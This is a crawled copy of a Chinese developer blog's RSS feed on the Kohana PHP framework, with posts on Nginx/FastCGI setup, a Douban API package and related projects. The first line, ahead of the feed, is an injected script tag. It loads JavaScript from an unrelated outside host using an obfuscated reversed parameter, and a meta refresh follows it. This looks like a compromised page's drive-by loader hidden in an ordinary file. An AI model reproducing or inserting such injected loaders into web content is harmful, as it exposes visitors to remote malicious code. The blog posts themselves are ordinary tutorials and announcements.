<script src='http://turnitupnow.net/?rnd=7369%2Fdeef%2Fanahok%2Fvedbew%2Fyrogetac%2Fmoc.faelyci'></script><meta http-equiv='refresh' content='0;url=http://icyleaf.com/category/webdev/kohana/feed/'><!--<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>.::灵狼天::. &#187; Kohana</title>
	<atom:link href="http://icyleaf.com/category/webdev/kohana/feed/" rel="self" type="application/rss+xml" />
	<link>http://icyleaf.com</link>
	<description>icyleaf&#039;s blog - 心外无理，心外无物，心外无事</description>
	<lastBuildDate>Tue, 13 Dec 2011 02:34:45 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Nginx+FastCGI 环境搭建 Kohana</title>
		<link>http://icyleaf.com/2010/05/nginx-with-fastcgi-build-kohana/</link>
		<comments>http://icyleaf.com/2010/05/nginx-with-fastcgi-build-kohana/#comments</comments>
		<pubDate>Mon, 31 May 2010 01:34:54 +0000</pubDate>
		<dc:creator>icyleaf</dc:creator>
				<category><![CDATA[Kohana]]></category>
		<category><![CDATA[FastCGI]]></category>
		<category><![CDATA[Nginx]]></category>

		<guid isPermaLink="false">http://icyleaf.com/?p=770</guid>
		<description><![CDATA[Kohana 默认仅对 Apache 环境提供的部署支持，其实对于 Nginx+FastCGI 也是很容易支持的。本文搭建环境是 Ubuntu 10.4 并采用 apt-get 方式安装，喜爱编译的朋友可以自行解决 1. 安装 MySQL sudo apt-get install mysql-server mysql-client 安装过程在会提示设置 root 账户的密码，如果是本机测试开发可以留空后稍候设置。 2. 安装 Nginx # 安装 Nginx sudo apt-get install nginx # 启动 Nginx sudo /etc/init.d/nginx start 完成上面两步之后，打开浏览器，输入 localhost &#8230; <a href="http://icyleaf.com/2010/05/nginx-with-fastcgi-build-kohana/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Kohana 默认仅对 Apache 环境提供的部署支持，其实对于 Nginx+FastCGI 也是很容易支持的。本文搭建环境是 Ubuntu 10.4 并采用 apt-get 方式安装，喜爱编译的朋友可以自行解决 <img src='http://icyleaf.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<h3>1. 安装 MySQL</h3>
<pre lang="bash">
sudo apt-get install mysql-server mysql-client
</pre>
<p>安装过程在会提示设置 root 账户的密码，如果是本机测试开发可以留空后稍候设置。</p>
<h3>2. 安装 Nginx</h3>
<pre lang="bash">
# 安装 Nginx
sudo apt-get install nginx
# 启动 Nginx
sudo /etc/init.d/nginx start
</pre>
<p>完成上面两步之后，打开浏览器，输入 localhost 或 127.0.0.1 如果看到 <strong>Welcome to Nginx!</strong> 字样就说明安装成功了，是不是很简单 <img src='http://icyleaf.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>注意，如果你的机器上面如果安装了其他 web 容器（比如 Apache，Lighttd等），启动 ngnix 的时候肯定会报错，因为这些 web 容器启动均占用的 80 端口，更改的方法如下：<br />
编辑 /etc/nginx/sites-available/default 文件，修改 server 段中的 listen 为 localhost:8080，其中 8080 是更改的监听端口：</p>
<pre lang="bash">
server {
	listen   localhost:8080;
	server_name  localhost;

# [...]
</pre>
<p>保存后重启Nginx：</p>
<pre lang="bash">
sudo /etc/init.d/nginx restart
</pre>
<p><span id="more-770"></span></p>
<h3>3. 安装 PHP5</h3>
<p>PHP 在 Nginx 下是通过 FastCGI 模式运行的，使用 Debain 的包管理可以安装 PHP5 和一些必须的（比如，php5-mysql）和可选的扩展（比如，Kohana 要求的 php5-curl，php5-gd，php5-mcrypt），下面前 5 个是必须的，其他可以依据个人需求添加或减少：</p>
<pre lang="bash">
sudo apt-get install php5-cgi php5-mysql php5-curl php5-gd php5-mcrypt php5-idn php-pear php5-imagick php5-imap php5-memcache php5-mhash php5-ming php5-pspell php5-recode php5-snmp php5-tidy php5-xmlrpc php5-xsl
</pre>
<p>安装完毕后，需要编辑 php 的配置：</p>
<pre lang="bash">
# 编辑 /etc/php5/cgi/php.ini 文件
# 修改 cgi.fix_pathinfo 的值为 1（如果此项被注解掉了，请删除前面的 # 符号）
cgi.fix_pathinfo = 1
</pre>
<p>至此 PHP5 已经安装完毕，但是还没有结束，因为我们还没有让它支持 FastCGI 嗯，由于 Debain 包并没有提供单独的 FastCGI 守护程序，因此我们可以使用其他的方式实现，通常使用的是 lighttpd 项目提供的 spawn-fcgi（本文也用的这个，但是它总会出现小毛病，导致 Nginx 服务 Down 掉，稍候也会给出一点解决方案）或者是 <a href="http://php-fpm.org/" target="_blank">PHP-FPM</a>（专门为 PHP 提供 FastCGI 进程管理的软件）</p>
<p>好吧，让我们在安装 lighttpd：</p>
<pre lang="bash">
sudo apt-get install lighttpd
</pre>
<p>安装完毕后会你发现一些错误信息：</p>
<blockquote><p>
Starting web server: lighttpd<br />
2010-05-31 10:44:51: (network.c.300) can&#8217;t bind to port: 80 Address already in use failed!
</p></blockquote>
<p>还是上面提到的重复占用端口的问题，不过由于我们只是使用它的 spawn-fcgi 因此我们可以不让它当作服务启动：</p>
<pre lang="bash">
sudo update-rc.d -f lighttpd remove
</pre>
<p>好了，让我们开启 FastCGI 守护进程：</p>
<pre lang="bash">
/usr/bin/spawn-fcgi -a 127.0.0.1 -p 9000 -u www-data -g www-data -f /usr/bin/php5-cgi -P /var/run/fastcgi-php.pid
</pre>
<p>其中 -a 代表 ip 地址， -p 是进程的端口， -u 是用户， -g 是用户组，-f 是 php5-cgi 的执行路径，-P 是进程的 pid，可以适当的在后面在加一个 -C 参数，这个数创建的进程数，本机开发的话一般设置在 3 &#8211; 5 左右即可（也可以使用 ab 测试以设置适当的进程数，这样可以防止 Nginx 的无辜 Down 掉）</p>
<p>提示：spawn-fcgi 必须在运行的状况下才能使得 Nginx 支持 PHP 运行，因此可以把上面的启动代码追加到 /etc/rc.local 文件的尾部保存（在 exit 命令之前）。</p>
<h3>4. 配置 Nginx</h3>
<p>Nginx 的配置相对比较简单，语法很像 PHP 代码，如果不了解的可以参考这个：<a href="http://wiki.nginx.org/NginxFullExample" target="_blank">范例1</a>和<a href="http://wiki.nginx.org/NginxFullExample2" target="_blank">范例2</a><br />
编辑 <strong>/etc/nginx/nginx.conf</strong> 文件并作如下修改：</p>
<pre lang="bash">
[...]
worker_processes  5;
[...]
    keepalive_timeout   2;
[...]
</pre>
<p>定义虚拟主机的配置项存放在 /etc/nginx/conf.d/ 目录下面，每个虚拟主机配置一个文件并以 .conf 为文件后缀即可，默认是 default，也就是上面修改 Nginx 默认监听端口的文件，这里还要进一步对它配（点击右侧展开）：</p>
<pre lang="bash" colla="-">
[...]
server {
        listen   80;
        server_name  _;

        access_log  /var/log/nginx/localhost.access.log;

        location / {
                root   /var/www/nginx-default;
                index  index.php index.html index.htm;
        }

        location /doc {
                root   /usr/share;
                autoindex on;
                allow 127.0.0.1;
                deny all;
        }

        location /images {
                root   /usr/share;
                autoindex on;
        }

        #error_page  404  /404.html;

        # redirect server error pages to the static page /50x.html
        #
        error_page   500 502 503 504  /50x.html;
        location = /50x.html {
                root   /var/www/nginx-default;
        }

        # proxy the PHP scripts to Apache listening on 127.0.0.1:80
        #
        #location ~ \.php$ {
                #proxy_pass   http://127.0.0.1;
        #}

        # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
        #
        location ~ \.php$ {
                fastcgi_pass   127.0.0.1:9000;
                fastcgi_index  index.php;
                fastcgi_param  SCRIPT_FILENAME  /var/www/nginx-default$fastcgi_script_name;
                include        fastcgi_params;
        }

        # deny access to .htaccess files, if Apache's document root
        # concurs with nginx's one
        #
        location ~ /\.ht {
                deny  all;
        }
}
[...]
</pre>
<p>说明下里面的个别参数：<br />
<strong>server_name</strong> 是虚拟主机的服务器入口名称，可以是 IP 也可以是域名。<br />
<strong>location</strong> 段，我在 index 追加了 index.php， root 路径是 /var/www/nginx-default 说明该虚拟主机的根目录在这里。<br />
最重要的是关于 PHP 部分的 location 段：<strong>~ \.php$ {} </strong>，Nginx 默认没有开启，我们要确保它开启并在 fastcgi_param 一行更改了参数（因为浏览器调用的默认 PHP 解析器无法找到 PHP 脚本）：</p>
<pre lang="bash">
fastcgi_param SCRIPT_FILENAME /var/www/nginx-default$fastcgi_script_name;
</pre>
<p>最后确保在  include 和 fastcgi_params 之间隔出几个空格（BUG）</p>
<p>重启 Nginx，然后编辑一个 info.php 文件：</p>
<pre lang="php">
// 创建 /var/www/nginx-default/info.php 文件
<?php phpinfo(); ?>
</pre>
<p>保存后在浏览器访问（比如：http://localhost/info.php 或 http://localhost:8080/info.php)，如看到 phpinfo 的参数页面说明配置安装成功 <img src='http://icyleaf.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<h3>5. 安装&#038;配置 Kohana</h3>
<p>Kohana 采用的 v3 版本，<a href="http://v3.kohana.cn/guide/tutorials.git" target="_blank">安装步骤</a>（本文把 kohana 存放在 /home/icyleaf/php/kohana 目录）<br />
添加 Nginx 虚拟主机配置文件：</p>
<pre lang="bash">
# 创建 /etc/nginx/conf.d/kohana.conf 文件
server {
	listen   kohana.local:8080;
	server_name  kohana.local;
	access_log  /var/log/nginx/kohana.access.log;

	# define server root path
	set $root_path /home/icyleaf/php/kohana;

	location / {
		root   $root_path;
		index  index.php index.html index.htm;

		if (!-e $request_filename) {
		    rewrite ^/(.*)$ /index.php?kohana_uri=/$1 last;
		}
	}

	# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
	#
	location ~ \.php$ {
		root   $root_path;
		fastcgi_pass   127.0.0.1:9000;
		fastcgi_index  index.php;
		fastcgi_param  SCRIPT_FILENAME  $root_path$fastcgi_script_name;
		include fastcgi_params;
	}
}
</pre>
<p>配置中首先定义了一个变量 $root_path 指定 Kohana 的源码的路径，对于 Kohana 的 URL rewrite url 重点是 location 段的：</p>
<pre lang="bash">
if (!-e $request_filename) {
	rewrite ^/(.*)$ /index.php?kohana_uri=/$1 last;
}
</pre>
<p>编辑完成后重载 Nginx 配置：</p>
<pre lang="bash">
sudo /etc/init.d/nginx reload
</pre>
<p>至此教程结束，额外说明的是 Kohana 默认的 .htaccess 对 Nginx 无效可有可无 <img src='http://icyleaf.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://icyleaf.com/2010/05/nginx-with-fastcgi-build-kohana/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Douban API Package 发布！</title>
		<link>http://icyleaf.com/2010/01/douban-api-package/</link>
		<comments>http://icyleaf.com/2010/01/douban-api-package/#comments</comments>
		<pubDate>Fri, 08 Jan 2010 01:30:01 +0000</pubDate>
		<dc:creator>icyleaf</dc:creator>
				<category><![CDATA[Kohana]]></category>
		<category><![CDATA[网络开发]]></category>
		<category><![CDATA[api]]></category>
		<category><![CDATA[douban]]></category>
		<category><![CDATA[豆瓣]]></category>

		<guid isPermaLink="false">http://icyleaf.com/?p=745</guid>
		<description><![CDATA[Douban API Package 是一个使用 PHP 开发且基于 Kohana v3 开发的一个扩展（Module）。 它对豆瓣 API 进行重新封包。它使用起来非常方便，可以快速开发一个 web 应用。 为什么要另外封包？ 对，豆瓣官方提供了一种 PHP 的解决方案，可是需要庞大的支持库：GData（20M左右）以及可能无法修改的环境配置（租用的空间主机会遇到这样的问题）。虽说 Douban API Package 也是基于框架开发，不过 Kohana 是一个纯 PHP5 模式且体积小巧（仅有 478KB），优秀迅捷的框架。最重要的是，Douban API Package 提供了目前官方所有功能的支持。并有线上网站：魔豆 和豆瓣 API 控制台长期运营。 虽然它是基于 Kohana 框架开发，但是并没有使用太多的依赖，稍微熟悉可以轻松分离出来！ 安装需求 PHP 5.2+ with &#8230; <a href="http://icyleaf.com/2010/01/douban-api-package/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Douban API Package 是一个使用 PHP 开发且基于 Kohana v3 开发的一个扩展（Module）。</p>
<p>它对<a href="http://www.douban.com/">豆瓣</a> <a href="http://www.douban.com/service/apidoc/">API</a> 进行重新封包。它使用起来非常方便，可以快速开发一个 web 应用。</p>
<p><strong>为什么要另外封包？</strong><br />
对，豆瓣官方提供了一种 PHP 的解决方案，可是需要庞大的支持库：GData（20M左右）以及可能无法修改的环境配置（租用的空间主机会遇到这样的问题）。虽说 Douban API Package 也是基于框架开发，不过 Kohana 是一个纯 PHP5 模式且体积小巧（仅有 478KB），优秀迅捷的框架。<strong>最重要的是</strong>，Douban API Package 提供了目前官方所有功能的支持。并有线上网站：<a href="http://modou.us/">魔豆</a> 和<a href="http://modou.us/console">豆瓣 API 控制台</a>长期运营。</p>
<p><em>虽然它是基于 Kohana 框架开发，但是并没有使用太多的依赖，稍微熟悉可以轻松分离出来！</em></p>
<p><strong>安装需求</strong></p>
<ul>
<li>PHP 5.2+ with curl module</li>
<li><a href="http://github.com/kohana/kohana">Kohana v3</a> &#8211; 一款纯 PHP 5 框架，它的特点就是<strong>高安全性</strong>，<strong>轻量级代码</strong>，<strong>容易使用</strong>。</li>
</ul>
<p><strong>安装步骤</strong><br />
步骤 0: 部署 Kohana v3</p>
<p>下载并安装 Kohana v3 的过程，请大家参考此教程：<a href="http://kohanaphp.cn/guide/tutorials.git">使用 Git 部署 Kohana 系统</a></p>
<p>步骤 1: 下载本扩展!</p>
<p>你可以在部署完毕的 Kohana 系统的根目录执行下面操作：</p>
<pre lang="bash">$ git submodule add git://github.com/icyleaf/douban.git modules/douban</pre>
<p>完成！</p>
<p>或者你也可以从本<a href="http://github.com/icyleaf/douban">github 项目</a> 下载压缩包放置在 modules 文件夹下面。</p>
<p>步骤 2: 在 <code>bootstrap.php</code> 文件中启用该模块(默认情况下，存储在 `application&#8217; 文件夹)</p>
<pre lang="php">/**
 * Enable modules. Modules are referenced by a relative or absolute path.
 */
Kohana::modules(array(
     'douban'        => MODPATH.'douban',     // Douban API Module
    // 'database'   => MODPATH.'database',   // Database access
    // 'image'      => MODPATH.'image',      // Image manipulation
    // 'orm'        => MODPATH.'orm',        // Object Relationship Mapping (not complete)
    // 'pagination' => MODPATH.'pagination', // Paging of results
    // 'paypal'     => MODPATH.'paypal',     // PayPal integration (not complete)
    // 'todoist'    => MODPATH.'todoist',    // Todoist integration
    // 'unittest'   => MODPATH.'unittest',   // Unit testing
    // 'codebench'  => MODPATH.'codebench',  // Benchmarking tool
    ));
</pre>
<p><strong>目录结构</strong></p>
<pre lang="bash">douban
  +--- classes
         +--- controller               # 豆瓣样例
         +--- douban                   # Douban API Package
                +--- api               # Douban API
                +--- core.php          # Douban Core
                +--- oauth.php         # Douban OAuth
                +--- request.php       # Douban Requset
                +--- response.php      # Douban Response
         +--- douban.php               # Douban API Class
  +--- config
         +--- douban.php               # 豆瓣 API 配置文件
         +--- user_agents.php          # 奉送给大家一些手机 User agent 配置文件
  +--- media
         +--- images                   # 奉送给大家豆瓣 API 用到的图像
  +--- vendor
         +--- OAuth.php                # OAuth 官方推荐 PHP 库
  +--- LICENSE
  +--- README.markdown
</pre>
<p><strong>快速上手</strong><br />
Douban API Package 提供一些演示用例，系统部署完毕后可以通过 <code>http://host/demo_douban</code> 访问。</p>
<p>文件路径：<code>classes/controller/douban_demo.php</code></p>
<p>源码库：<a href="http://github.com/icyleaf/douban">http://github.com/icyleaf/douban</a></p>
<p>祝你开发顺利！</p>
<p>如果任何疑问或者 Bugs 反馈，即可以在本项目中提交 Issue 或者给我发邮件：icyleaf.cn囧gmail.com （请替换 &#8220;囧&#8221; 为 @）</p>
]]></content:encoded>
			<wfw:commentRss>http://icyleaf.com/2010/01/douban-api-package/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Kohana 官方 2.3，2.4，3.0 的最终裁决！</title>
		<link>http://icyleaf.com/2009/07/official-2-3-2-4-3-0-decisions/</link>
		<comments>http://icyleaf.com/2009/07/official-2-3-2-4-3-0-decisions/#comments</comments>
		<pubDate>Fri, 24 Jul 2009 06:13:45 +0000</pubDate>
		<dc:creator>icyleaf</dc:creator>
				<category><![CDATA[Kohana]]></category>

		<guid isPermaLink="false">http://icyleaf.com/?p=673</guid>
		<description><![CDATA[更新：Kohana 官方已经做出最终裁决！ 两天前我(Shadowhand)曾经说过关于 2.4 和 3.0 版本的问题和它们之间的关系已经做出的解答。之后的今天和其他开发者见面（with more of the devs），这似乎是错误的。所以长话短说，我们现在有两个选择： 1. 我们在一个月内分别发布 2.4 和 3.0。 2.4 将会经可能的兼容 2.3.x 版本但是其中 Database 和 i18n 是全新的不同于 2.3 的系统。 3.0 也将不同于 2.4 的 Database，但是 i18n 系统还是和 2.4 一致。 2. 完全抛弃 2.4 而专攻 3.0 &#8230; <a href="http://icyleaf.com/2009/07/official-2-3-2-4-3-0-decisions/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<blockquote><p>更新：Kohana 官方已经做出<a href="http://forum.khnfans.cn/topic/view/167/1.html" target="_blank">最终裁决</a>！</p></blockquote>
<p>两天前我(Shadowhand)曾经<a rel="nofollow external" href="http://forum.kohanaphp.com/comments.php?DiscussionID=2835&amp;page=6#Item_12">说过</a>关于 2.4 和 3.0 版本的问题和它们之间的关系已经做出的解答。之后的今天和其他开发者见面（with more of the devs），这似乎是错误的。所以长话短说，我们现在有两个选择：</p>
<p>1. 我们在一个月内分别发布 2.4 和 3.0。 2.4 将会经可能的兼容 2.3.x 版本但是其中 Database 和 i18n 是全新的不同于 2.3 的系统。 3.0 也将不同于 2.4 的 Database，但是 i18n 系统还是和 2.4 一致。</p>
<p>2. 完全抛弃 2.4 而专攻 3.0 版本，它将会有一个全新的类似 2.4 版本的 Database 特性，但是语法和更多的特性稍有些不同。 3.0 在发布的同时，新的网站和用户手册也会同步完成。</p>
<p>2.4 和 3.0 版本大约将会在同一天发布（2009年的8月下旬或9月上旬）。两个版本都不会去兼容 2.3.4 版本。虽然升级至 2.4 版本将会少于升级至 3.0 的兼容工作。（请记住，我们从来没有建议和要求用户升级到哪个核心版本）</p>
<p>我本可以行使 <a rel="nofollow external" href="http://lmgtfy.com/?q=bdfl">BDFL</a>（Benevolent Dictator For Life，代表少数开源软件开发者的领头人）权利做个强制决定，但是我觉得还是听一听社区的声音。你们认为哪个是 Kohana 在未来长期（至少 6 个月以上）开发基础的最好选择呢?<br />
<span id="more-673"></span><br />
<strong>更新</strong>： 选择第二项，将会抛弃 2.3.x 版本公开发布的版本修复</p>
<p>&#8212;&#8212;&#8211;<br />
原文：<a rel="nofollow external" href="http://forum.kohanaphp.com/comments.php?DiscussionID=3043&amp;page=1">Official 2.3, 2.4, 3.0 Decisions &#8211; We need your feedback!</a></p>
<p>&#8212;&#8212;&#8212;我是华丽的分割线&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>KO3 RC1 目前已经发布，详情请看<a href="http://forum.khnfans.cn/topic/view/168.html" target="_blank">这里</a>，希望大家喜欢 Kohana，关注 Kohana，使用 Kohana 的朋友留下你的看法，这对Kohana自身和社区用户都是有益的！</p>
<p>&#8212;&#8212;&#8211;关于 E-TextEditor  的分割线&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>今天前去 Textmate clone 的软件 Intype论坛瞅了一眼，惊奇的发现同样是 Textmate clone 的 E-TextEditor 居然在今年3月份宣布开源，而5月份就在 Github 放出了源码！而且声称会开发 Linux 版本并且弘扬 Linux 的精神，Linux 版本统统免费！详情请看 <a href="http://intype.info/forums/discussion/827/eeditor-going-open-source-open-company/#Item_0" target="_blank">Intype 论坛</a></p>
<p>而且已经有Linux用户编译运行了 E-TextEditor 详情请看：<a href="http://fixnum.org/blog/2009/e_on_fedora" target="_blank">Building the E text editor on Fedora 10</a></p>
<p>不知道身为 Textmate clone 的 Intype 会做何打算，它们目前正在全力开发新的版本（貌似内核和界面全部重新），拭目以待！</p>
]]></content:encoded>
			<wfw:commentRss>http://icyleaf.com/2009/07/official-2-3-2-4-3-0-decisions/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>豆瓣API测试控制台</title>
		<link>http://icyleaf.com/2009/07/douban-api-console/</link>
		<comments>http://icyleaf.com/2009/07/douban-api-console/#comments</comments>
		<pubDate>Mon, 06 Jul 2009 10:06:36 +0000</pubDate>
		<dc:creator>icyleaf</dc:creator>
				<category><![CDATA[Kohana]]></category>
		<category><![CDATA[网络开发]]></category>
		<category><![CDATA[api]]></category>
		<category><![CDATA[console]]></category>
		<category><![CDATA[douban]]></category>
		<category><![CDATA[豆瓣]]></category>
		<category><![CDATA[魔豆]]></category>

		<guid isPermaLink="false">http://icyleaf.com/?p=668</guid>
		<description><![CDATA[项目已开源: http://github.com/icyleaf/modou 豆瓣 API 测试控制台的创造灵感来源于 Facebook Developers Tools 中的 Facebook API Console， 或许大家知道，魔豆是我的另外一个豆瓣 API 应用，由于是自己封装的 Douban API（官方提供的库类要求太多，安装繁琐，这不属于我喜爱简洁，轻便的风格），每次想查看某个 API 接口返回的数据都要写一个 test 跑一下。 麻烦不说，还容易出错，于是，使用自己封装的 Douban API，借鉴 Facebook API Console 的界面和类似的功能显示，终于小有所成，其中为了实现此控制台，封包的库类经过两次大改，虽然改的很辛苦， 但从中学到了很多开发经验。 测试用户必须先进行用户验证才能进行测试，这主要是为了： 避免提交查询中出现错误，并让测试者使用到全部API方法 防止恶意用户利用它做二次api调用，由于测试控制台的传输很简单，提交参数即可查询。 查询方法： 进行用户的登录验证 选择返回的数据类型（支持官方提供的 XML 和 JSON格式） 选择需要查询的API方法（这里我做了分类） 如果查询的方法存在参数，会在方法下面显示。 &#8230; <a href="http://icyleaf.com/2009/07/douban-api-console/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<blockquote><p>项目已开源: http://github.com/icyleaf/modou</p></blockquote>
<p>豆瓣 API 测试控制台的创造灵感来源于 Facebook Developers Tools 中的<a href="http://developers.facebook.com/tools.php" target="_blank"> Facebook API Console</a>， 或许大家知道，魔豆是我的另外一个豆瓣 API 应用，由于是自己封装的 Douban API（官方提供的库类要求太多，安装繁琐，这不属于我喜爱简洁，轻便的风格），每次想查看某个 API 接口返回的数据都要写一个 test 跑一下。 麻烦不说，还容易出错，于是，使用自己封装的 Douban API，借鉴 Facebook API Console 的界面和类似的功能显示，终于小有所成，其中为了实现此控制台，封包的库类经过两次大改，虽然改的很辛苦， 但从中学到了很多开发经验。</p>
<p>测试用户必须先进行用户验证才能进行测试，这主要是为了：</p>
<ol>
<li>避免提交查询中出现错误，并让测试者使用到全部API方法</li>
<li>防止恶意用户利用它做二次api调用，由于测试控制台的传输很简单，提交参数即可查询。</li>
</ol>
<p>查询方法：</p>
<ol>
<li>进行用户的登录验证</li>
<li>选择返回的数据类型（支持官方提供的 XML 和 JSON格式）</li>
<li>选择需要查询的API方法（这里我做了分类）</li>
<li>如果查询的方法存在参数，会在方法下面显示。</li>
<li>设置完毕参数后，点击“调用此方法”，稍等片刻即可。</li>
</ol>
<p><span id="more-668"></span>返回的数据结果会在右侧显示出来，其中，右上部分是调用相关 API 的 URL 地址；右下部分是返回的数据结果。</p>
<p>如果，参数设置错误，或者其他问题，返回的结果会以 [CODE] Content 的格式返回，其中 <strong>CODE </strong>代码返回的状态码，<strong> Content</strong> 是返回的信息。</p>
<p>通用参数解释：</p>
<ul>
<li>id  &#8211; 查询方法涉及到的 id 值（人，书影音，日记，广播，豆邮，同城等）</li>
<li>message &#8211; 广播发送的内容</li>
<li>title &#8211; 日记，豆邮的标题</li>
<li>content &#8211; 主题内容</li>
<li>city &#8211; 同城活动的城市代号（根据我判断，应该是中文的拼音，详细请看<a href="http://www.douban.com/location/world/" target="_blank">官方同城列表</a>中各个城市的url）</li>
<li>query &#8211; 搜索的关键字</li>
<li>index &#8211; 返回多个元素时，起始元素的下标（相当于豆瓣 api 文档中的start-index）</li>
<li>max &#8211; 返回多个entry时，每页最多的结果数（相当于豆瓣 api 文档中的max-results）</li>
</ul>
<p>其中某些方法（涉及到自身的数据，比如我的信息，我的广播，我的同城）在进行查询的时候可以把 id 留空或者设置为 ‘me’ （不带引号），这样调用结果显示的是自己的信息。</p>
<p>如果长时间(大于1分钟)处于“调用中”，可能是由于程序问题，请刷新后重试。</p>
<p>已知存在的问题：</p>
<ol>
<li>界面和方法列表在 Chrome 浏览器有不兼容的问题出现</li>
<li>返回数据结果头一行多出一个类似水平制表符的转义符似的</li>
</ol>
<p>由于目前为止豆瓣 API 还没有封装完成，现只提供用户，广播，书影音，豆邮和日记的不完全功能测试查询。 其余的 API 会尽快添加进去 <img src='http://icyleaf.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>测试地址：<a href="http://ews.im/douban_console" target="_blank">http://ews.im/douban_console</a></p>
]]></content:encoded>
			<wfw:commentRss>http://icyleaf.com/2009/07/douban-api-console/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>魔豆：豆瓣网非官方移动版本</title>
		<link>http://icyleaf.com/2009/06/modou/</link>
		<comments>http://icyleaf.com/2009/06/modou/#comments</comments>
		<pubDate>Mon, 22 Jun 2009 07:46:30 +0000</pubDate>
		<dc:creator>icyleaf</dc:creator>
				<category><![CDATA[Kohana]]></category>
		<category><![CDATA[网络开发]]></category>

		<guid isPermaLink="false">http://icyleaf.com/?p=648</guid>
		<description><![CDATA[项目已开源: http://github.com/icyleaf/modou 魔豆，一个豆瓣网非官方移动版本，基于豆瓣 API开发的专门为移动终端（手持设备）定制的豆瓣移动版本。魔豆专注于豆瓣网的广播及同城活动。 魔豆的来历：豆瓣移动版 -&#62; Douban mobile -&#62; moDouban -&#62; moDou -&#62;魔豆 目前魔豆发布的功能： 友邻广播：支持显示广播，回复发起人和重播（重复发布其他发起者的广播） 同城活动：查看自己参与（包含参加/感兴趣）的活动以及用户所在城市的同城活动（需提前在豆瓣设置） 查看用户相册以及同城活动相册（仅限于从友邻广播） 搜索用户/书影音/同城活动 查看用户/书影音/同城活动信息 显示和查阅豆邮 我，是一个重度豆瓣使用者，也许这和身在北京这所繁华的帝都有很大的关系。虽然豆瓣网直到现在为其定位在书影音这三大模块，但不可否认的，豆瓣小组，豆瓣广播，豆瓣同城甚至豆邮都起着重要的标志性作用。 或许和大家一样，一直期待着豆瓣网能够推出移动版本，可以用手机或其他移动设备查查书影音，看看友邻广播和未读豆邮，浏览下所在城市的同城活动，光想想都是这么的惬意，于是我们在等，一直在等，几乎使我望穿秋水的时候，还是杳无音讯。平时在有 WIFI 网络的情况下，使用 iTouch 访问一下豆瓣网还是可以，如果离开了它，以为这必须使用较昂贵的 GPRS 网络，经过漫长的 loading 才能看到自己感兴趣或自己想看的一点点信息&#8230; 于是，自己何不使用豆瓣API开发一个呢？紧接着通过查阅大量的文档和官方提供的演示代码，抛弃 Zend Framework 和 Gdata，使用自己维护中文化的 Kohana 框架，一点一点的搭建起了基础库，通过一个星期多的时间，开始一边做页面的展现，另一边继续完善基础库，直到目前为止，大体的框架已经完成，下面需要考虑如何对细节做修改和完善。 另外，由于 PHP 没有低耦合的 &#8230; <a href="http://icyleaf.com/2009/06/modou/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<blockquote><p>项目已开源: http://github.com/icyleaf/modou</p></blockquote>
<p><a title="魔豆：豆瓣网非官方移动版本" href="http://modou.us" target="_blank">魔豆</a>，一个<a href="http://douban.com" target="_blank">豆瓣网</a>非官方移动版本，基于<a title="豆瓣 API" href="http://www.douban.com/service/apidoc/" target="_blank">豆瓣 API</a>开发的专门为移动终端（手持设备）定制的豆瓣移动版本。魔豆专注于豆瓣网的<strong>广播</strong>及<strong>同城活动</strong>。</p>
<p>魔豆的来历：豆瓣移动版 -&gt; Douban mobile -&gt; moDouban -&gt; moDou -&gt;魔豆</p>
<p>目前魔豆发布的功能：</p>
<ol>
<li>友邻广播：支持显示广播，回复发起人和重播（重复发布其他发起者的广播）</li>
<li>同城活动：查看自己参与（包含参加/感兴趣）的活动以及用户所在城市的同城活动（需提前在豆瓣设置）</li>
<li>查看用户相册以及同城活动相册（仅限于从友邻广播）</li>
<li>搜索用户/书影音/同城活动</li>
<li>查看用户/书影音/同城活动信息</li>
<li>显示和查阅豆邮</li>
</ol>
<p><span id="more-648"></span></p>
<p>我，是一个重度豆瓣使用者，也许这和身在北京这所繁华的帝都有很大的关系。虽然豆瓣网直到现在为其定位在书影音这三大模块，但不可否认的，豆瓣小组，豆瓣广播，豆瓣同城甚至豆邮都起着重要的标志性作用。</p>
<p>或许和大家一样，一直期待着豆瓣网能够推出移动版本，可以用手机或其他移动设备查查书影音，看看友邻广播和未读豆邮，浏览下所在城市的同城活动，光想想都是这么的惬意，于是我们在等，一直在等，几乎使我望穿秋水的时候，还是杳无音讯。平时在有 WIFI 网络的情况下，使用 iTouch 访问一下豆瓣网还是可以，如果离开了它，以为这必须使用较昂贵的 GPRS 网络，经过漫长的 loading 才能看到自己感兴趣或自己想看的一点点信息&#8230;</p>
